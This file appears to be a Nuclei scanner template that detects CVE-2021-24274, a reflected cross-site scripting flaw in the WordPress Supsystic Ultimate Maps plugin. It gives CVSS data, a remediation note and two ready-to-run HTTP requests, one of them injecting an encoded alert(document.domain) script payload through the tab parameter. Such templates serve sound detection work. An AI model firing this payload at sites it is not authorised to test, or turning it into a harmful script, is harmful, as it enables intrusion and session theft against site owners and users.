CVE-2021-24274: WordPress Supsystic Ultimate Maps <1.2.5 - Cross-Site Scripting

id: CVE-2021-24274

info:
  name: WordPress Supsystic Ultimate Maps <1.2.5 - Cross-Site Scripting
  author: DhiyaneshDK
  severity: medium
  description: WordPress Supsystic Ultimate Maps plugin before 1.2.5 contains an unauthenticated reflected cross-site scripting vulnerability due to improper sanitization of the tab parameter on the options page before outputting it in an attribute.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update the WordPress Supsystic Ultimate Maps plugin to version 1.2.5 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/200a3031-7c42-4189-96b1-bed9e0ab7c1d
    - http://packetstormsecurity.com/files/164316/WordPress-Ultimate-Maps-1.2.4-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24274
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24274
    cwe-id: CWE-79
    epss-score: 0.05512
    epss-percentile: 0.89874
    cpe: cpe:2.3:a:supsystic:ultimate_maps:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: supsystic
    product: ultimate_maps
    framework: wordpress
  tags: cve2021,cve,wpscan,packetstorm,wordpress,wp-plugin,maps,supsystic,xss

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/plugins/ultimate-maps-by-supsystic/modules/maps/css/'
        condition: and

  - raw:
      - |
        GET /wp-admin/admin.php?page=ultimate-maps-supsystic&tab=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
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